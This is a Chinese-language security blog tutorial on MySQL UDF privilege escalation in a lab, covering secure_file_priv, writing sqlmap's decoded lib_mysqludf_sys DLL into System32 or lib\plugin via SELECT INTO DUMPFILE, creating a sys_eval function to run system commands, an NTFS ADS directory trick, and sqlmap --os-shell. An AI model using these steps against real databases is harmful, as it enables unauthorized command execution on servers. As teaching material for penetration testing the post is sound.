Mysql Udf提权

UDF

Posted by Cooltige on June 2, 2020

UDF

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 由于是用户自定义的函数,所以我们可以利用UDF创建一个执行命令的函数。

Secure_file_priv

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的

  • 当secure_file_priv的值为null ,表示限制mysql不允许导入 导出。
  • 当secure_file_priv的值为/tmp/ ,表示限制mysql的导入 导出只能发生在/tmp/目录下。
  • 当secure_file_priv的值没有具体值时,表示不对mysql的导入 导出做限制。

通过执行SHOW VARIABLES LIKE "secure_file_priv";查看secure-file-priv的状态。

UDF提权条件

  • mysql < 5.0,导出路径随意。
  • 5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
  • mysql > 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
  • 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
  • 拥有可以将udf.dll写入相应目录的权限。

实验环境

Microsoft Windows Server 2012 Standard X64 Apache 2.4.9 数据库 Mysql 5.0.96 Mysql 5.1.60 由于Mysql版本小于5.0导出的路径为随意,这里就不进行演示了。 攻击机机器:kali 192.168.211.129 目标机器:winserver 2012 192.168.211.131

手工提权

5.0 <= mysql < 5.1

通过Navicat进行数据库连接,然后执行select version();获取准确版本。

我们去Sqlmap目录下找到对应的dll文件,我们目标是windows 64位操作系统,所以我们这里选择对应的dll。

Sqlmap将原本的dll文件进行了编码处理,我们需要通过脚本进行解密获得dll文件。(脚本位置/usr/share/sqlmap/extra/cloak/) 执行python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_进行dll_文件的解码,获得dll文件。

这里获得的dll文件,是一个二进制进制文件,我们通过查询语句将dll上传到目标服务器上。由于目标版本为5.0<=mysql<5.1 ,所以将dll文件上传到目标的系统目录下面。执行语句select 0xcode into dumpfile 'C:\\Windows\\System32\\cooltige.dll'

文件内容为二进制的写入方法有很多,这里用的是SELECT 0X十六进制,还有其他的方法,例如:

select unhex(十六进制)
select char(77,90,144...)

通过dll文件创建函数。CREATE FUNCTION sys_eval RETURNS STRING SONAME 'cooltige.dll'

创建成功后就可以直接执行命令。

删除创建的函数DROP FUNCTION sys_eval;

验证函数是否删除成功,输出结果为n/a就为删除成功。select * from mysql.func where name = 'sys_eval';

5.1 < mysql

同理查询准确版本。版本范围为 5.1 < mysql。

由于版本大于5.1,需要看是否存在lib\plugin文件夹。show variables like '%plugin%'; 这里执行结果表示并没有这个文件。(我这里是利用phpstudy安装的mysql,默认是不存在这个文件夹的,如果目标安装的是完整版mysql数据库,是存在的)

网上有个说法,利用NTFS ADS流模式突破进而创建文件夹。 这个方法我没有成功过,我将方法帖出来,有兴趣的可以去试一试,成功了务必告诉我,谢谢。

select @@basedir;  //查找到mysql的目录
 
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';    //利用NTFS ADS创建lib目录
 
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';    //利用NTFS ADS创建plugin目录

这里为了演示,我直接在目标上进行文件夹的创建。然后再次查看文件夹,就可以看到文件夹位置了。

之后的步骤就和上面步骤差不多。解码dll文件,上传到plugin里,创建函数,执行命令,删除函数。这里我就不详细说了。

上传dll

创建函数 create function sys_eval returns string soname 'cooltige.dll';

执行命令

删除函数

检测是否删除成功

Sqlmap提权

5.0 <= mysql < 5.1

已获得数据库权限,执行sqlmap -d 链接数据库

sqlmap判断mysql版本大于5.0,有点模糊,在--sql-shell中执行select version();查看准确版本。

获得mysql版本为5.0.96,在5.0与5.1之间。执行sqlmap -d --os-shell

这里sqlmap会自动将dll文件传到指定目录中并且创建好执行命令的函数。

输入whoami,完成命令执行。

输入exit退出时,sqlmap会提示删除创建的函数,默认选择就行了,然后断开与数据库的链接。

5.1 < mysql

sqlmap -d --sql-shell中执行select version();查看mysql版本,确认范围。

得到版本范围为大于5.1

执行--os-shell失败,是因为在mysql数据库目录下并没有\lib\plugin的目录,所以导致上传失败。

这里为了演示--os-shell,直接在目标上创建文件。

可以看到--os-shell成功执行后,会在数据库的\lib\plugin下传入dill文件

然后利用创建好的函数执行命令,退出时和上面一样移除创建的函数。

总结

  • 常规SQLMAP的--OS-SHELL流程大致为:利用SELECT … INTO OUTFILE … LINES TERMINATED BY上传小马(仅上传功能) -> 利用小马上传Webshell(可使用system、proc_open、shell_exec、passthru、popen、exec执行命令) -> 利用Webshell执行命令(明文参数cmd=whoami)

  • 现在大多数Mysql版本都大于5.1,版本大于5.1后对于提权的条件很苛刻,所以大多数情况下都没办法使用udf进行一个提权

本站提供的所有内容仅供学习、分享与交流,禁止用于非法途径,通过使用本站内容随之而来的风险与本站无关